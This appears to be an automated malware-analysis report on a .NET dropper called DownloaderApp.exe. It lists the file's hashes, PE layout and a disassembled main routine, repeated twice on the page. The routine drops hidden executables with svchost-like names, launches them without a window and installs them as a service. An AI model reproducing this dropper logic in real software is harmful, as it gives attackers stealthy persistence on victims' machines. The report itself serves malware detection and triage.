Suspicious
Suspect

PE Executable
MD5: 3359a50481f5645286a18a3430634079
Size: 5.44 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 3359a50481f5645286a18a3430634079
Sha1 f9dd21a8ae41757a50c8edbcfe1896fe0020ab5e
Sha256 917e92ceb2da1d60284d87721cc3de0efec208d20f66f4a536aabfe5eb5ff61e
Sha384 21b2991b566e391fa0656860ab9d4c64fd9db22f03c5ddb8178ea57a0e05dd88f1157a67d3898caf3a52158ec297c591
Sha512 a9855d4d6ea01c74ac1137571933e18441157e89e26a1c45cde471de0960298b14245b04880b17659b1373b349e09f500da83cebbd6fae328e3cba8160169285
SSDeep 98304:2BZ4bOG8wBafU9reiM1v0oXGRPL3AjJWKUKODphiTINLtoYGD:2Be+js9XMZXow1WKZODyTInG
TLSH 804633F74ED3DF07CF5A19384A5216976DFF597222314AEB0B03C14258E3A7647B822A
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
3359a50481f5645286a18a3430634079
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
0HRV2WIo3TBP.XWEPs.7lOH9
0HRV2WIo3TBP.q4rzjQ.rTAUe
0HRV2WIo3TBP.Na5mCp.uzda
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.rsrc
.idata
djjawiuj
pyupnuqh
.pdata
Resources
RT_MANIFEST
ID:0001
ID:1033
0HRV2WIo3TBP.Gqbrno.iUf
Name Value
Info
PE Detect: PeReader OK (file layout)
Info 
PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
31
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
153
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr 0HRV2WIo3TBP.Na5mCp.uzda
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr 0HRV2WIo3TBP.Gqbrno.iUf
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
stloc.2 <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007E: leave.s IL_0083
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0083: ldc.i4 3000
pop <null>
leave.s IL_0083: ldc.i4 3000
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00BC: leave.s IL_00C1
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_00C1: ldloc.2
pop <null>
leave.s IL_00C1: ldloc.2
ldloc.2 <null>
brtrue.s IL_00D4: call System.Boolean System.Environment::get_UserInteractive()
call System.Void A.B::D()
leave IL_01BD: ret
pop <null>
leave IL_01BD: ret
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00E6: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.3 <null>
ldstr systemhelper.exe
stloc.s V_4
ldstr WindowsLogsHelper
stloc.s V_5
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldloc.s V_4
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_7
ldstr 0HRV2WIo3TBP.XWEPs.7lOH9
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldstr 0HRV2WIo3TBP.q4rzjQ.rTAUe
ldloc.s V_7
call System.Void A.B::F(System.String,System.String)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_7
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_6
ldloc.s V_5
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_7
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::L(System.TimeSpan)
brfalse.s IL_01B8: leave.s IL_01BD
ldloc.s V_6
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B8: leave.s IL_01BD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01BD: ret
pop <null>
leave.s IL_01BD: ret
ret <null>
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
31
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
153
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr 0HRV2WIo3TBP.Na5mCp.uzda
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr 0HRV2WIo3TBP.Gqbrno.iUf
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
stloc.2 <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007E: leave.s IL_0083
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0083: ldc.i4 3000
pop <null>
leave.s IL_0083: ldc.i4 3000
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00BC: leave.s IL_00C1
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_00C1: ldloc.2
pop <null>
leave.s IL_00C1: ldloc.2
ldloc.2 <null>
brtrue.s IL_00D4: call System.Boolean System.Environment::get_UserInteractive()
call System.Void A.B::D()
leave IL_01BD: ret
pop <null>
leave IL_01BD: ret
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00E6: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.3 <null>
ldstr systemhelper.exe
stloc.s V_4
ldstr WindowsLogsHelper
stloc.s V_5
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldloc.s V_4
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_7
ldstr 0HRV2WIo3TBP.XWEPs.7lOH9
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldstr 0HRV2WIo3TBP.q4rzjQ.rTAUe
ldloc.s V_7
call System.Void A.B::F(System.String,System.String)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_7
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_6
ldloc.s V_5
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_7
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::L(System.TimeSpan)
brfalse.s IL_01B8: leave.s IL_01BD
ldloc.s V_6
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B8: leave.s IL_01BD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01BD: ret
pop <null>
leave.s IL_01BD: ret
ret <null>
3359a50481f5645286a18a3430634079
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
0HRV2WIo3TBP.XWEPs.7lOH9
0HRV2WIo3TBP.q4rzjQ.rTAUe
0HRV2WIo3TBP.Na5mCp.uzda
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.rsrc
.idata
djjawiuj
pyupnuqh
.pdata
Resources
RT_MANIFEST
ID:0001
ID:1033
0HRV2WIo3TBP.Gqbrno.iUf
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙